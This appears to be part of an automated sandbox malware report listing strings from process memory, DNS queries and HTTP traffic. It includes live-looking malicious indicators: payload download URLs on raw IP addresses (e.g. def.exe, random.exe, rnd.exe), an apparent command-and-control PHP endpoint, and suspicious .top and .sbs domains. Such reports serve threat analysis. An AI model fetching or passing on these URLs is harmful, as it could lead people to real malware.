Source: firefox.exe, 00000019.00000002.3045686159.000002348B7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.3045686159.000002348B7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| 'www.' \|\| :strippedURL AND :prefix \|\| 'www.' \|\| :strippedURL \|\| X'FFFF'[{incognito:null, tabId:null, types:["sub_frame"], urls:["://trends.google.com/trends/embed"], windowId:null}, ["blocking", "requestHeaders"]]https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/AND (bookmarked OR frecency > 20) equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| 'www.' \|\| :strippedURL AND :prefix \|\| 'www.' \|\| :strippedURL \|\| X'FFFF'[{incognito:null, tabId:null, types:["sub_frame"], urls:["://trends.google.com/trends/embed"], windowId:null}, ["blocking", "requestHeaders"]]https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/AND (bookmarked OR frecency > 20) equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000003.2840171314.000002348F1FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2959811201.000002348985B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000019.00000002.2959811201.000002348985B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["sub_frame"], urls:["://trends.google.com/trends/embed"], windowId:null}, ["blocking", "requestHeaders"]]https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3045686159.000002348B7F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3045686159.000002348B7F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.3045686159.000002348B7F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: resource://gre/modules/JSONFile.sys.mjsresource://gre/modules/ExtHandlerService.sys.mjs@mozilla.org/network/async-stream-copier;1https://mail.yahoo.co.jp/compose/?To=%sresource://gre/modules/URIFixup.sys.mjshttp://www.inbox.lv/rfc2368/?value=%s{c6cf88b7-452e-47eb-bdc9-86e3561648ef}{33d75835-722f-42c0-89cc-44f328e56a86}resource://gre/modules/JSONFile.sys.mjsCan't invoke URIFixup in the content process_injectDefaultProtocolHandlersIfNeededhttp://win.mail.ru/cgi-bin/sentmsg?mailto=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%shandlerSvc fillHandlerInfo: don't know this type@mozilla.org/uriloader/dbus-handler-app;1@mozilla.org/uriloader/web-handler-app;1gecko.handlerService.defaultHandlersVersionhttps://mail.inbox.lv/compose?to=%sMust have a source and a callback@mozilla.org/network/simple-stream-listener;1@mozilla.org/network/input-stream-pump;1newChannel requires a single object argumentFirst argument should be an nsIInputStreamNon-zero amount of bytes must be specified@mozilla.org/intl/converter-input-stream;1SEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULL@mozilla.org/scriptableinputstream;1https://mail.yahoo.co.jp/compose/?To=%shttps://mail.yandex.ru/compose?mailto=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.inbox.lv/compose?to=%shttps://poczta.interia.pl/mh/?mailto=%s@mozilla.org/uriloader/handler-service;1@mozilla.org/uriloader/handler-service;1pdfjs.previousHandler.preferredActionVALIDATE_DONT_COLLAPSE_WHITESPACEresource://gre/modules/Integration.sys.mjspdfjs.previousHandler.alwaysAskBeforeHandling equals www.yahoo.com (Yahoo)
Source: firefox.exe, 00000019.00000003.2840171314.000002348F1FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: home.fvtekk5pn.top
Source: global traffic	DNS traffic detected: DNS query: property-imper.sbs
Source: global traffic	DNS traffic detected: DNS query: fvtekk5pn.top
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic	DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: www.reddit.com
Source: global traffic	DNS traffic detected: DNS query: twitter.com
Source: global traffic	DNS traffic detected: DNS query: reddit.map.fastly.net
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: services.addons.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: normandy.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: normandy-cdn.services.mozilla.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: property-imper.sbs

Source: 2a8b7e5b78.exe, 00000007.00000003.2463978988.0000000007162000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: 2a8b7e5b78.exe, 00000007.00000003.2463978988.0000000007162000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: 2235d4f703.exe, 0000000B.00000003.3006270290.000000000140A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: 2235d4f703.exe, 00000009.00000003.2859665308.000000000122D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/OT
Source: 2235d4f703.exe, 00000009.00000003.2859665308.000000000122D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/hT
Source: 2235d4f703.exe, 00000009.00000003.2859665308.000000000122D000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.3002813792.00000000013FD000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.3009828676.000000000139C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 2235d4f703.exe, 0000000B.00000003.3002813792.00000000013FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe;Q4
Source: 2235d4f703.exe, 00000009.00000003.2859665308.000000000122D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exesi
Source: 2235d4f703.exe, 00000009.00000003.2859665308.000000000122D000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.3002813792.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.3006270290.000000000140A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: 2235d4f703.exe, 0000000B.00000003.3002813792.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.3006270290.000000000140A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeN
Source: 86526d7b20.exe, 0000000A.00000002.2688574615.00000000006AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 86526d7b20.exe, 0000000A.00000002.2688574615.0000000000707000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 86526d7b20.exe, 0000000A.00000002.2688574615.0000000000707000.00000004.00000020.00020000.00000000.sdmp, 86526d7b20.exe, 0000000A.00000002.2688574615.00000000006AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 86526d7b20.exe, 0000000A.00000002.2688574615.0000000000707000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php)=1
Source: 86526d7b20.exe, 0000000A.00000002.2688574615.0000000000707000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php9&T
Source: 86526d7b20.exe, 0000000A.00000002.2688574615.0000000000707000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpi&
Source: 86526d7b20.exe, 0000000A.00000002.2688574615.0000000000707000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/v=
Source: 86526d7b20.exe, 0000000A.00000002.2688574615.0000000000707000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: 2235d4f703.exe, 00000009.00000003.2859665308.000000000122D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/rnd.exe
Source: 2235d4f703.exe, 00000009.00000003.2859665308.000000000122D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/rnd.exeO
Source: 2235d4f703.exe, 00000009.00000003.2859665308.000000000122D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/rnd.exes
Source: 2235d4f703.exe, 00000009.00000003.2657057539.0000000005896000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2787006517.0000000005B28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 2235d4f703.exe, 00000009.00000003.2657057539.0000000005896000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2787006517.0000000005B28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%sresource://gre/modules/NetUtil.sys.mjs
